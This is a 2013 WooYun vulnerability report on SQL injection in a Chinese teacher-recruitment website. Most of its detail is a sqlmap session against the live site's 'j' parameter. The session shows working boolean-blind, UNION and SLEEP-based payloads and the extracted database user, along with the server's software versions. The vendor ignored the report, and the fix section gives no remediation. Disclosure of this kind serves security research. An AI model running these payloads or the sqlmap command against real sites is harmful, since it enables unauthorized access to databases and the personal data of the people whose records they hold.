当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-039824

漏洞标题:中国教师人才网SQL注射漏洞

相关厂商:中国教师人才网

漏洞作者: 我是菜鸟

提交时间:2013-10-15 18:37

修复时间:2013-11-29 18:37

公开时间:2013-11-29 18:37

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-15: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-11-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql注入

详细说明:

Target URL:http://www.jiaoshi.com.cn/main/highpayjobs.php?j=1228

F:\Python27\sqlmap>sqlmap.py -u http://www.jiaoshi.com.cn/main/highpayjobs.php?j
=1228 --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:01:07
[18:01:07] [INFO] testing connection to the target URL
[18:01:08] [INFO] heuristics detected web page charset 'ISO-8859-2'
[18:01:08] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[18:01:11] [INFO] target URL is stable
[18:01:11] [INFO] testing if GET parameter 'j' is dynamic
[18:01:11] [INFO] confirming that GET parameter 'j' is dynamic
[18:01:12] [INFO] GET parameter 'j' is dynamic
[18:01:14] [WARNING] reflective value(s) found and filtering out
[18:01:14] [INFO] heuristic (basic) test shows that GET parameter 'j' might be i
njectable
[18:01:14] [INFO] testing for SQL injection on GET parameter 'j'
[18:01:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:01:17] [INFO] GET parameter 'j' is 'AND boolean-based blind - WHERE or HAVIN
G clause' injectable
[18:01:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:01:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:01:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:01:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:01:24] [INFO] testing 'MySQL inline queries'
[18:01:25] [INFO] testing 'PostgreSQL inline queries'
[18:01:25] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:01:26] [INFO] testing 'Oracle inline queries'
[18:01:27] [INFO] testing 'SQLite inline queries'
[18:01:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:01:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:01:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:01:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:02:28] [INFO] GET parameter 'j' is 'MySQL > 5.0.11 AND time-based blind' inj
ectable
[18:02:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:02:28] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[18:02:42] [INFO] target URL appears to be UNION injectable with 7 columns
[18:02:49] [INFO] GET parameter 'j' is 'MySQL UNION query (NULL) - 1 to 20 colum
ns' injectable
GET parameter 'j' is vulnerable. Do you want to keep testing the others (if any)
? [y/N] n
sqlmap identified the following injection points with a total of 51 HTTP(s) requ
ests:
---
Place: GET
Parameter: j
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: j=1228 AND 5687=5687
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: j=1228 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7174736a71,0x566c51
41746b794f6b5a,0x7162616d71),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: j=1228 AND SLEEP(5)
---
[18:03:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.3.8
back-end DBMS: MySQL 5.0.11
[18:03:20] [INFO] fetching current user
current user: '114jiaoshiz@%'
[18:03:25] [INFO] fetched data logged to text files under 'F:\Python27\sqlmap\ou
tput\www.jiaoshi.com.cn'

漏洞证明:

and.png

db.png

users.png

sql.png

修复方案:

你懂,我懂,大家懂!

版权声明:转载请注明来源 我是菜鸟@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论